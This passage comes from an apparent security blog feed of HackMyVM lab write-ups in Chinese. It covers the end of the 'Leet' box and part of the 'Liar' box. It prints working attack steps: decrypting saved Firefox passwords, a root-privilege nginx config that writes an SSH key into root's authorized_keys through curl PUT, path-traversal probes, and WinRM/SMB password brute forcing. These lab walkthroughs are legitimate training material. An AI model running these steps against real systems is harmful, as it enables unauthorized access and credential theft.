|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                            Version                        Architecture Description
+++-===============================-==============================-============-===========================&amp;gt;
ii  adduser                         3.134                          all          add and remove users and gr&amp;gt;
rc  adwaita-icon-theme              43-1                           all          default icon theme of GNOME
ii  alsa-topology-conf              1.2.5.1-2                      all          ALSA topology configuration&amp;gt;
ii  alsa-ucm-conf                   1.2.8-1                        all          ALSA Use Case Manager confi&amp;gt;
ii  anacron                         2.3-36                         amd64        cron-like program that does&amp;gt;
rc  apache2                         2.4.57-2                       amd64        Apache HTTP Server
ii  apparmor                        3.0.8-3                        amd64        user-space parser utility f&amp;gt;
ii  apt                             2.6.1                          amd64        commandline package manager
ii  apt-listchanges                 3.24                           all          package change history noti&amp;gt;
ii  apt-utils                       2.6.1                          amd64        package management related &amp;gt;
ii  aspell                          0.60.8-4+b1                    amd64        GNU Aspell spell-checker
ii  aspell-fr                       0.50-3-8.1                     all          French dictionary for aspell
rc  at-spi2-core                    2.46.0-5                       amd64        Assistive Technology Servic&amp;gt;
ii  avahi-autoipd                   0.8-10                         amd64        Avahi IPv4LL network addres&amp;gt;
ii  base-files                      12.4+deb12u5                   amd64        Debian base system miscella&amp;gt;
ii  base-passwd                     3.6.1                          amd64        Debian base system master p&amp;gt;
ii  bash                            5.2.15-2+b2                    amd64        GNU Bourne Again SHell
ii  bash-completion                 1:2.11-6                       all          programmable completion for&amp;gt;
ii  bind9-dnsutils                  1:9.18.24-1                    amd64        Clients provided with BIND 9
ii  bind9-host                      1:9.18.24-1                    amd64        DNS Lookup Utility
ii  bind9-libs:amd64                1:9.18.24-1                    amd64        Shared Libraries used by BI&amp;gt;
ii  binutils                        2.40-2                         amd64        GNU assembler, linker and b&amp;gt;
ii  binutils-common:amd64           2.40-2                         amd64        Common files for the GNU as&amp;gt;
ii  binutils-x86-64-linux-gnu       2.40-2                         amd64        GNU binary utilities, for x&amp;gt;
ii  bluetooth                       5.66-1+deb12u1                 all          Bluetooth support (metapack&amp;gt;
ii  bluez                           5.66-1+deb12u1                 amd64        Bluetooth tools and daemons
ii  bsdextrautils                   2.38.1-5+deb12u1               amd64        extra utilities from 4.4BSD&amp;gt;
ii  bsdutils                        1:2.38.1-5+deb12u1             amd64        basic utilities from 4.4BSD&amp;gt;
ii  busybox                         1:1.35.0-4+b3                  amd64        Tiny utilities for small an&amp;gt;
ii  bzip2                           1.0.8-5+b1                     amd64        high-quality block-sorting &amp;gt;
ii  ca-certificates                 20230311                       all          Common CA certificates
ii  console-setup                   1.221                          all          console font and keymap set&amp;gt;
ii  console-setup-linux             1.221                          all          Linux specific part of cons&amp;gt;
ii  coreutils                       9.1-1                          amd64        GNU core utilities
ii  cpio                            2.13+dfsg-7.1                  amd64        GNU cpio -- a program to ma&amp;gt;
ii  cpp                             4:12.2.0-3                     amd64        GNU C preprocessor (cpp)
ii  cpp-12                          12.2.0-14                      amd64        GNU C preprocessor
ii  cron                            3.0pl1-162                     amd64        process scheduling daemon
ii  cron-daemon-common              3.0pl1-162                     all          process scheduling daemon&amp;#39;s&amp;gt;
ii  curl                            7.88.1-10+deb12u5              amd64        command line tool for trans&amp;gt;
ii  dash                            0.5.12-2                       amd64        POSIX-compliant shell
ii  dbus                            1.14.10-1~deb12u1              amd64        simple interprocess messagi&amp;gt;
ii  dbus-bin                        1.14.10-1~deb12u1              amd64        simple interprocess messagi&amp;gt;
ii  dbus-daemon                     1.14.10-1~deb12u1              amd64        simple interprocess messagi&amp;gt;
ii  dbus-session-bus-common         1.14.10-1~deb12u1              all          simple interprocess messagi&amp;gt;
ii  dbus-system-bus-common          1.14.10-1~deb12u1              all          simple interprocess messagi&amp;gt;
ii  dbus-user-session               1.14.10-1~deb12u1              amd64        simple interprocess messagi&amp;gt;
ii  debconf                         1.5.82                         all          Debian configuration manage&amp;gt;
ii  debconf-i18n                    1.5.82                         all          full internationalization s&amp;gt;
ii  debian-archive-keyring          2023.3+deb12u1                 all          GnuPG archive keys of the D&amp;gt;
ii  debian-faq                      11.1                           all          Debian Frequently Asked Que&amp;gt;
ii  debianutils                     5.7-0.5~deb12u1                amd64        Miscellaneous utilities spe&amp;gt;
ii  dictionaries-common             1.29.5                         all          spelling dictionaries - com&amp;gt;
ii  diffutils                       1:3.8-4                        amd64        File comparison utilities
ii  dirmngr                         2.2.40-1.1                     amd64        GNU privacy guard - network&amp;gt;
ii  discover                        2.1.2-10                       amd64        hardware identification sys&amp;gt;
ii  discover-data                   2.2013.01.13                   all          Data lists for Discover har&amp;gt;
ii  distro-info-data                0.58+deb12u1                   all          information about the distr&amp;gt;
ii  dmidecode                       3.4-1                          amd64        SMBIOS/DMI table decoder
ii  dmsetup                         2:1.02.185-2                   amd64        Linux Kernel Device Mapper &amp;gt;
ii  doc-debian                      11.3+nmu1                      all          Debian Project documentatio&amp;gt;
ii  dpkg                            1.21.22                        amd64        Debian package management s&amp;gt;
ii  dpkg-dev                        1.21.22                        all          Debian package development &amp;gt;
ii  e2fsprogs                       1.47.0-2                       amd64        ext2/ext3/ext4 file system &amp;gt;
ii  eject                           2.38.1-5+deb12u1               amd64        ejects CDs and operates CD-&amp;gt;
ii  emacsen-common                  3.0.5                          all          Common facilities for all e&amp;gt;
ii  fakeroot                        1.31-1.2                       amd64        tool for simulating superus&amp;gt;
ii  fdisk                           2.38.1-5+deb12u1               amd64        collection of partitioning &amp;gt;
ii  file                            1:5.44-3                       amd64        Recognize the type of data &amp;gt;
ii  findutils                       4.9.0-4                        amd64        utilities for finding files&amp;gt;
rc  firefox-esr                     115.7.0esr-1~deb12u1           amd64        Mozilla Firefox web browser&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了firefox-esr  &lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/unode/firefox_decrypt&quot;&gt;https://github.com/unode/firefox_decrypt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用工具&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;riva@leet:~$ ls -la
total 40
drwxr-xr-x 6 riva riva 4096 Feb 14 21:00 .
drwxr-xr-x 3 root root 4096 Feb 14 21:00 ..
lrwxrwxrwx 1 riva riva    9 Feb 11 15:58 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 riva riva  220 Feb 14 21:00 .bash_logout
-rw-r--r-- 1 riva riva 3526 Feb 14 21:00 .bashrc
drwxr-xr-x 3 riva riva 4096 Feb 14 21:00 .config
drwxr-xr-x 3 riva riva 4096 Feb 14 21:00 .local
drwx------ 4 riva riva 4096 Feb 14 21:00 .mozilla
-rw-r--r-- 1 riva riva  807 Feb 14 21:00 .profile
drwx------ 2 riva riva 4096 Feb 14 21:00 .ssh
-rwx------ 1 riva riva   33 Feb 14 21:00 user.txt
riva@leet:~$ cd .mozilla/
riva@leet:~/.mozilla$ ls -la
total 16
drwx------ 4 riva riva 4096 Feb 14 21:00 .
drwxr-xr-x 6 riva riva 4096 Feb 14 21:00 ..
drwx------ 2 riva riva 4096 Feb 14 21:00 extensions
drwx------ 6 riva riva 4096 Feb 14 21:00 firefox
riva@leet:~/.mozilla$ cd firefox/
riva@leet:~/.mozilla/firefox$ ls -la
total 32
drwx------  6 riva riva 4096 Feb 14 21:00  .
drwx------  4 riva riva 4096 Feb 14 21:00  ..
drwx------  3 riva riva 4096 Feb 14 21:00 &amp;#39;Crash Reports&amp;#39;
drwx------ 16 riva riva 4096 Feb 14 21:00  guu30cui.default-esr
-rw-r--r--  1 riva riva   58 Feb 14 21:00  installs.ini
drwx------  2 riva riva 4096 Feb 14 21:00 &amp;#39;Pending Pings&amp;#39;
-rw-r--r--  1 riva riva  247 Feb 14 21:00  profiles.ini
drwx------  2 riva riva 4096 Feb 14 21:00  zbznfk37.default

riva@leet:~/.mozilla/firefox$ cd /tmp
riva@leet:/tmp$ vi firefox_decrypt.py
riva@leet:/tmp$ chmod +x firefox_decrypt.py 
riva@leet:/tmp$ python3 -V
Python 3.11.2
riva@leet:/tmp$ python3 firefox_decrypt.py 
Select the Mozilla profile you wish to decrypt
1 -&amp;gt; zbznfk37.default
2 -&amp;gt; guu30cui.default-esr
1
2024-07-01 12:35:59,994 - ERROR - Couldn&amp;#39;t initialize NSS, maybe &amp;#39;/home/riva/.mozilla/firefox/zbznfk37.default&amp;#39; is not a valid profile?
riva@leet:/tmp$ python3 firefox_decrypt.py 
Select the Mozilla profile you wish to decrypt
1 -&amp;gt; zbznfk37.default
2 -&amp;gt; guu30cui.default-esr
2

Website:   chrome://FirefoxAccounts
Username: &amp;#39;1db9561103ca4adc9afa6357c0a0b554&amp;#39;
Password: &amp;#39;{&amp;quot;version&amp;quot;:1,&amp;quot;accountData&amp;quot;:{&amp;quot;scopedKeys&amp;quot;:{&amp;quot;https://identity.mozilla.com/apps/oldsync&amp;quot;:{&amp;quot;kid&amp;quot;:&amp;quot;1603273389635-IxsZ6HpGK9fL9tUfdcBqwA&amp;quot;,&amp;quot;k&amp;quot;:&amp;quot;Q8lFF-E91kvogabSQ2yjKj7k2JHX30UDeHEriaxaCY5slUVmtQvP-e3is5GxBiUKkG3g4dQLbFRsVOYeMkjNpg&amp;quot;,&amp;quot;kty&amp;quot;:&amp;quot;oct&amp;quot;},&amp;quot;sync:addon_storage&amp;quot;:{&amp;quot;kid&amp;quot;:&amp;quot;1603273389635-Ng9dJrdpVFqEoBs-R3LaTMKTiSWhWypqfmg9MJDby4U&amp;quot;,&amp;quot;k&amp;quot;:&amp;quot;L8MGJk3tWVlmN9Sm-MmdauxuQ38fIl--NziTjg_AmjO51_-vHo70OELMwif8kqn2zE3Yqg30BLw1ndNplRzGCA&amp;quot;,&amp;quot;kty&amp;quot;:&amp;quot;oct&amp;quot;}},&amp;quot;kSync&amp;quot;:&amp;quot;43c94517e13dd64be881a6d2436ca32a3ee4d891d7df450378712b89ac5a098e6c954566b50bcff9ede2b391b106250a906de0e1d40b6c546c54e61e3248cda6&amp;quot;,&amp;quot;kXCS&amp;quot;:&amp;quot;231b19e87a462bd7cbf6d51f75c06ac0&amp;quot;,&amp;quot;kExtSync&amp;quot;:&amp;quot;2fc306264ded59596637d4a6f8c99d6aec6e437f1f225fbe3738938e0fc09a33b9d7ffaf1e8ef43842ccc227fc92a9f6cc4dd8aa0df404bc359dd369951cc608&amp;quot;,&amp;quot;kExtKbHash&amp;quot;:&amp;quot;360f5d26b769545a84a01b3e4772da4cc2938925a15b2a6a7e683d3090dbcb85&amp;quot;}}&amp;#39;

Website:   http://leet.hmv
Username: &amp;#39;riva&amp;#39;
Password: &amp;#39;PGH$2r0co3L5QL&amp;#39;

Website:   https://hackmyvm.eu
Username: &amp;#39;riva&amp;#39;
Password: &amp;#39;lovelove80&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;riva/PGH$2r0co3L5QL&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;riva@leet:/tmp$ sudo -l
[sudo] password for riva: 
Matching Defaults entries for riva on leet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User riva may run the following commands on leet:
    (root) /usr/sbin/nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;nginx提权&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406&quot;&gt;https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;riva@leet:/tmp$ cat &amp;lt;&amp;lt; EOF &amp;gt; /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1339;
                root /;
                autoindex on;
                dav_methods PUT;
        }
}
EOF
riva@leet:/tmp$ cat /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1339;
                root /;
                autoindex on;
                dav_methods PUT;
        }
}
riva@leet:/tmp$ sudo -u root nginx -c /tmp/nginx_pwn.conf
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2026/01/14 18:08:38 [emerg] 1355#1355: still could not bind()
riva@leet:/tmp$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/riva/.ssh/id_rsa): root_shell
root_shell already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in root_shell
Your public key has been saved in root_shell.pub
The key fingerprint is:
SHA256:ADl9vd+/FbVOFBjgrTGIR2yHSuBhWKzVhdtqFG7XqS8 riva@leet.hmv
The key&amp;#39;s randomart image is:
+---[RSA 3072]----+
|    =Bo ++....o. |
|   .=+o=+++...  .|
|    oo+o*oo=.. ..|
|   .   B.o.o+ . o|
|      o S .o . + |
|       o .  . + .|
|      .   .    o.|
|         E .    o|
|          .    ..|
+----[SHA256]-----+

riva@leet:/tmp$ cat root_shell.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZU+DMPbpynDPmpaLMiHKN9HBd+nH4pqVYIJ66gdkSW+eOSRKWmn9lHm2O1QxjtN8HXvWGjIsdqcqEFRau2MlfaEyh6oViMZ3P7Vhyl1I1EQ9epwoxW4dr7upOcQYCMutird+Uz1/v5qQphAZtBQ1qkjs3bfWXtd4QukQVZJJyPVYai9JFXwBccxP/jLva01fb/0XPRFMoSIqswDe5eyh1vFSwXYsoK3EeNrRR8K2woS6AtOQGJ+CzepjaT93Zzq95sk4rF+ZQ8B6MeyOiB3cEBDxBLg8RQlxHc7R8P0ZNEyMiy2gfN/HQKt+mxbAE/iAht4xLCbyHAuIykuNEm2pYBZycPLZlRNMKYMAkifoPlsQOwXRgjEbJZtbp2mVBgDLSV0hkLYXrTYet8PkmI1QQmqcBgXAhLmnTj/cxbgUNY9n79qQ6trva9hs1Fi+GZBh6mW1YmWWHvyjYZ75F5Q1TB9rWM7goeT4N59LVz4+trdK11wGFZnXWHVpLyDMk5Fk= riva@leet.hmv
riva@leet:/tmp$ curl -X PUT localhost:1339/root/.ssh/authorized_keys -d &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZU+DMPbpynDPmpaLMiHKN9HBd+nH4pqVYIJ66gdkSW+eOSRKWmn9lHm2O1QxjtN8HXvWGjIsdqcqEFRau2MlfaEyh6oViMZ3P7Vhyl1I1EQ9epwoxW4dr7upOcQYCMutird+Uz1/v5qQphAZtBQ1qkjs3bfWXtd4QukQVZJJyPVYai9JFXwBccxP/jLva01fb/0XPRFMoSIqswDe5eyh1vFSwXYsoK3EeNrRR8K2woS6AtOQGJ+CzepjaT93Zzq95sk4rF+ZQ8B6MeyOiB3cEBDxBLg8RQlxHc7R8P0ZNEyMiy2gfN/HQKt+mxbAE/iAht4xLCbyHAuIykuNEm2pYBZycPLZlRNMKYMAkifoPlsQOwXRgjEbJZtbp2mVBgDLSV0hkLYXrTYet8PkmI1QQmqcBgXAhLmnTj/cxbgUNY9n79qQ6trva9hs1Fi+GZBh6mW1YmWWHvyjYZ75F5Q1TB9rWM7goeT4N59LVz4+trdK11wGFZnXWHVpLyDMk5Fk= riva@leet.hmv&amp;quot;
riva@leet:/tmp$ ssh root@0.0.0.0 -i root_shell 
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 28 17:37:49 2024 from 192.168.0.178
root@leet:~# 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;root@leet:~# cat r007_fl46.7x7 
ca169772acb099a02ebab8da1d9070ea
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/leet/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/leet/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Liar</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/liar/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/liar/</guid><description>Hack and Fun.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Liar-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;

192.168.0.103   08:00:27:e2:94:78       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 06:42 EST
Nmap scan report for 192.168.0.103
Host is up (0.00032s latency).
Not shown: 65524 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn&amp;#39;t have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                
|_http-title: Not Found                                                                                              
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                          
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                
|_http-title: Not Found                                                                                              
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                          
49664/tcp open  msrpc         Microsoft Windows RPC                                                                  
49665/tcp open  msrpc         Microsoft Windows RPC                                                                  
49666/tcp open  msrpc         Microsoft Windows RPC                                                                  
49667/tcp open  msrpc         Microsoft Windows RPC                                                                  
49668/tcp open  msrpc         Microsoft Windows RPC                                                                  
49679/tcp open  msrpc         Microsoft Windows RPC                                                                  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows                                                             
                                                                                                                     
Host script results:                                                                                                 
| smb2-time:                                                                                                         
|   date: 2026-01-15T11:45:44                                                                                        
|_  start_date: N/A                                                                                                  
|_clock-skew: 2s                                                                                                     
| smb2-security-mode:                                                                                                
|   3:1:1:                                                                                                           
|_    Message signing enabled but not required                                                                       
|_nbstat: NetBIOS name: WIN-IURF14RBVGV, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:e2:94:78 (Oracle VirtualBox virtual NIC)                                                                                                          
                                                                                                                     
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                       
Nmap done: 1 IP address (1 host up) scanned in 194.94 seconds  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.103/

  _|. _ _  _  _  _ _|_    v0.4.3.post1   
 (_||| _) (/_(_|| (_| )                  
                                         
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.103/__26-01-15_06-47-40.txt

Target: http://192.168.0.103/

[06:47:40] Starting:                     
[06:47:41] 403 -  312B  - /%2e%2e//google.com                                     
[06:47:41] 403 -  312B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd                   
[06:47:45] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd                 
[06:47:57] 403 -  312B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd           

Task Completed 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# enum4linux 192.168.0.103
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jan 15 06:53:12 2026

 =========================================( Target Information )=========================================                  
                                         
Target ........... 192.168.0.103         
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.0.103 )===========================                   
                                         
                                         
[+] Got domain/workgroup name: WORKGROUP 
                                         
                                         
 ===============================( Nbtstat Information for 192.168.0.103 )===============================                   
                                         
Looking up status of 192.168.0.103       
        WIN-IURF14RBVGV &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
        WIN-IURF14RBVGV &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service

        MAC Address = 08-00-27-E2-94-78

 ===================================( Session Check on 192.168.0.103 )===================================                  
                                         
                                         
[E] Server doesn&amp;#39;t allow session using username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;.  Aborting remainder of tests.                             
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;smbclient&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# smbclient -L 192.168.0.103 -N
session setup failed: NT_STATUS_ACCESS_DENIED
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;漏洞利用&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;http://192.168.0.102/&quot;&gt;http://192.168.0.102&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Hey bro, You asked for an easy Windows VM, enjoy it. - nica
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到用户nica&lt;/p&gt;
&lt;h2&gt;密码爆破&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec winrm 192.168.0.102 -u nica -p ../tools/wordlists/kali/rockyou.txt

...
WINRM       192.168.0.102   5985   WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore (Pwn3d!)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获得凭据nica/hardcore&lt;/p&gt;
&lt;p&gt;当然用smb爆破同效&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crackmapexec smb 192.168.0.102 -u nica -p ../tools/wordlists/kali/rockyou.txt

...
SMB         192.168.0.102   445    WIN-IURF14RBVGV  [+] WIN-IURF14RBVGV\nica:hardcore 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;二次信息收集&lt;/h1&gt;
&lt;h2&gt;evil-winrm&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# evil-winrm -i 192.168.0.102 -u nica -p hardcore

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline                                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                     
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nica\Documents&amp;gt; cd ../
*Evil-WinRM* PS C:\Users\nica&amp;gt; dir


    Directorio: C:\Users\nica


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018   9:12 AM                Desktop
d-r---        9/26/2023   6:44 PM                Documents
d-r---        9/15/2018   9:12 AM                Downloads
d-r---        9/15/2018   9:12 AM                Favorites
d-r---        9/15/2018   9:12 AM                Links
d-r---        9/15/2018   9:12 AM                Music
d-r---        9/15/2018   9:12 AM                Pictures
d-----        9/15/2018   9:12 AM                Saved Games
d-r---        9/15/2018   9:12 AM                Videos
-a----        9/26/2023   6:44 PM             10 user.txt
*Evil-WinRM* PS C:\Users\nica&amp;gt; type user.txt
HMVWINGIFT
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# enum4linux -a -u &amp;quot;nica&amp;quot; -p &amp;quot;hardcore&amp;quot; 192.168.0.102
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jan 16 20:08:50 2026

 =========================================( Target Information )=========================================

Target ........... 192.168.0.102
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;nica&amp;#39;
Password ......... &amp;#39;hardcore&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.0.102 )===========================
                                                                                     
                                                                                     
[+] Got domain/workgroup name: WORKGROUP                                             
                                                                                     
                                                                                     
 ===============================( Nbtstat Information for 192.168.0.102 )===============================                                                                  
                                                                                     
Looking up status of 192.168.0.102                                                   
        WIN-IURF14RBVGV &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        WIN-IURF14RBVGV &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name

        MAC Address = 08-00-27-27-6D-2C

 ===================================( Session Check on 192.168.0.102 )===================================                                                                 
                                                                                     
                                                                                     
[+] Server 192.168.0.102 allows sessions using username &amp;#39;nica&amp;#39;, password &amp;#39;hardcore&amp;#39;  
                                                                                     
                                                                                     
 ================================( Getting domain SID for 192.168.0.102 )================================                                                                 
                                                                                     
Domain Name: WORKGROUP                                                               
Domain Sid: (NULL SID)

[+] Can&amp;#39;t determine if host is part of domain or part of a workgroup                 
                                                                                     
                                                                                     
 ==================================( OS information on 192.168.0.102 )==================================                                                                  
                                                                                     
                                                                                     
[E] Can&amp;#39;t get OS info with smbclient                                                 
                                                                                     
                                                                                     
[+] Got OS info for 192.168.0.102 from srvinfo:                                      
        192.168.0.102  Wk Sv NT SNT                                                  
        platform_id     :       500
        os version      :       10.0
        server type     :       0x9003


 =======================================( Users on 192.168.0.102 )=======================================                                                                 
                                                                                     
Use of uninitialized value $users in print at ./enum4linux.pl line 972.              
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 =================================( Share Enumeration on 192.168.0.102 )=================================                                                                 
                                                                                     
do_connect: Connection to 192.168.0.102 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Admin remota
        C$              Disk      Recurso predeterminado
        IPC$            IPC       IPC remota
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.0.102                                        
                                                                                     
//192.168.0.102/ADMIN$  Mapping: DENIED Listing: N/A Writing: N/A                    
//192.168.0.102/C$      Mapping: DENIED Listing: N/A Writing: N/A

[E] Can&amp;#39;t understand response:                                                       
                                                                                     
NT_STATUS_NO_SUCH_FILE listing \*                                                    
//192.168.0.102/IPC$    Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 192.168.0.102 )===========================                                                                  
                                                                                     
                                                                                     
[E] Unexpected error from polenum:                                                   
                                                                                     
                                                                                     

[+] Attaching to 192.168.0.102 using nica:hardcore

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:192.168.0.102)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: rpc_s_access_denied



[E] Failed to get password policy with rpcclient                                     
                                                                                     
                                                                                     

 ======================================( Groups on 192.168.0.102 )======================================                                                                  
                                                                                     
                                                                                     
[+] Getting builtin groups:                                                          
                                                                                     
                                                                                     
[+]  Getting builtin group memberships:                                              
                                                                                     
                                                                                     
[+]  Getting local groups:                                                           
                                                                                     
                                                                                     
[+]  Getting local group memberships:                                                
